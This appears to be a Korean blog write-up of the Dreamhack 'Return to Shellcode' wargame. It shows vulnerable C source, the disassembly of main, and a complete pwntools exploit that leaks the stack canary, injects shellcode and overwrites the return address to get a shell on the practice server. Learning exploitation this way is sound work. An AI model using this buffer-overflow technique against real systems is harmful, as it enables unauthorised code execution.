https://dreamhack.io/wargame/challenges/352
Return to Shellcode
Description Exploit Tech: Return to Shellcode에서 실습하는 문제입니다.
dreamhack.io
문제 파일을 다운 받으면 r2s.c와 실행 파일이 있다.
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
1. 버프의 주소 출력
2. buf와 rbp 주소 차이 출력
3. buf에 0x100만큼 입력 받음
4. 입력된 buf 값 출력
5. 다시 한번 gets로 buf에 입력
checksec을 통해 카나리가 있는 것을 볼 수 있다.
0x00000000000008cd <+0>: push rbp
0x00000000000008ce <+1>: mov rbp,rsp
0x00000000000008d1 <+4>: sub rsp,0x60
0x00000000000008d5 <+8>: mov rax,QWORD PTR fs:0x28
0x00000000000008de <+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000000008e2 <+21>: xor eax,eax
0x00000000000008e4 <+23>: mov eax,0x0
0x00000000000008e9 <+28>: call 0x88a <init>
0x00000000000008ee <+33>: lea rax,[rbp-0x60]
0x00000000000008f2 <+37>: mov rsi,rax
0x00000000000008f5 <+40>: lea rdi,[rip+0x16c] # 0xa68
0x00000000000008fc <+47>: mov eax,0x0
0x0000000000000901 <+52>: call 0x720 <printf@plt>
0x0000000000000906 <+57>: mov rax,rbp
0x0000000000000909 <+60>: mov rdx,rax
0x000000000000090c <+63>: lea rax,[rbp-0x60]
0x0000000000000910 <+67>: sub rdx,rax
0x0000000000000913 <+70>: mov rax,rdx
0x0000000000000916 <+73>: mov rsi,rax
0x0000000000000919 <+76>: lea rdi,[rip+0x160] # 0xa80
0x0000000000000920 <+83>: mov eax,0x0
0x0000000000000925 <+88>: call 0x720 <printf@plt>
0x000000000000092a <+93>: lea rdi,[rip+0x173] # 0xaa4
0x0000000000000931 <+100>: call 0x700 <puts@plt>
0x0000000000000936 <+105>: lea rdi,[rip+0x17b] # 0xab8
0x000000000000093d <+112>: mov eax,0x0
0x0000000000000942 <+117>: call 0x720 <printf@plt>
0x0000000000000947 <+122>: mov rax,QWORD PTR [rip+0x2006c2] # 0x201010 <stdout@@GLIBC_2.2.5>
0x000000000000094e <+129>: mov rdi,rax
0x0000000000000951 <+132>: call 0x750 <fflush@plt>
0x0000000000000956 <+137>: lea rax,[rbp-0x60]
0x000000000000095a <+141>: mov edx,0x100
0x000000000000095f <+146>: mov rsi,rax
0x0000000000000962 <+149>: mov edi,0x0
0x0000000000000967 <+154>: call 0x730 <read@plt>
0x000000000000096c <+159>: lea rax,[rbp-0x60]
0x0000000000000970 <+163>: mov rsi,rax
0x0000000000000973 <+166>: lea rdi,[rip+0x146] # 0xac0
0x000000000000097a <+173>: mov eax,0x0
0x000000000000097f <+178>: call 0x720 <printf@plt>
0x0000000000000984 <+183>: lea rdi,[rip+0x14d] # 0xad8
0x000000000000098b <+190>: call 0x700 <puts@plt>
0x0000000000000990 <+195>: lea rdi,[rip+0x121] # 0xab8
0x0000000000000997 <+202>: mov eax,0x0
0x000000000000099c <+207>: call 0x720 <printf@plt>
0x00000000000009a1 <+212>: mov rax,QWORD PTR [rip+0x200668] # 0x201010 <stdout@@GLIBC_2.2.5>
0x00000000000009a8 <+219>: mov rdi,rax
0x00000000000009ab <+222>: call 0x750 <fflush@plt>
0x00000000000009b0 <+227>: lea rax,[rbp-0x60]
0x00000000000009b4 <+231>: mov rdi,rax
0x00000000000009b7 <+234>: mov eax,0x0
0x00000000000009bc <+239>: call 0x740 <gets@plt>
0x00000000000009c1 <+244>: mov eax,0x0
0x00000000000009c6 <+249>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000000009ca <+253>: xor rcx,QWORD PTR fs:0x28
0x00000000000009d3 <+262>: je 0x9da <main+269>
0x00000000000009d5 <+264>: call 0x710 <__stack_chk_fail@plt>
0x00000000000009da <+269>: leave
0x00000000000009db <+270>: ret
메인 함수의 어셈이다.
프롤로그와 에필로그 부분에서 카나리가 rbp - 0x8에 위치해 있는 것을 볼 수 있다.
buf: rbp - 0x60
dump: rbp - 0x10
canary: rbp - 0x8
스택을 그림으로 그려 보면 다음과 같다.
rbp - 0x8은 사실상 널바이트이므로 rbp - 0x7부터의 값을 구하면 된다.
처음 buf를 입력할 때, rbp - 0x8까지 아무 값이나 입력하면 buf를 출력하면서 canary 값이 같이 출력될 것이다.
buf에 shellcode를 넣고, canary 전까지 아무 값이나 채운 후, 앞서 알아낸 canary 값을 넣고, RET 전까지 아무 값이나 다시 넣고 RET에 buf의 주소를 넣어 주면, buf에 들어 있는 Shellcode가 실행되면서 셸을 획득할 수 있을 것으로 보인다.
정리
1. rbp - 0x8 까지 아무 값이나 넣어 buf를 출력할 때 canary 값을 같이 출력
2. 알아낸 canary 값을 토대로 payload 작성
3. payload = shellcode(0x30바이트임) + 아무 값 * 0x28 + canary + 아무 값 * 0x8 + buf의 주소
위 내용을 바로 코드로 작성해 보면 다음과 같다.
from pwn import *
p = remote("host3.dreamhack.games", 10183)
context.arch = "amd64"
p.recvuntil('buf: ')
buf = int(p.recv(14), 16)
payload = b'A'*0x59
p.sendafter(b'Input: ', payload)
p.recvuntil(payload)
canary = u64(b"\x00" + p.recv(7))
payload = asm(shellcraft.sh())
payload += b"A"*0x28
payload += p64(canary)
payload += b"A"*0x8
payload += p64(buf)
p.sendafter(b'Input: ', payload)
p.interactive()
'드림핵 워게임' 카테고리의 다른 글
[드림핵/워게임] ssp_001 (0) | 2023.08.10 |
---|---|
[드림핵/워게임] ssp_000 (0) | 2023.08.10 |
[드림핵/워게임] web-ssrf (0) | 2023.08.03 |
[드림핵/워게임] Carve Party (0) | 2023.08.03 |
[드림핵/워게임] command-injection-1 (0) | 2023.08.03 |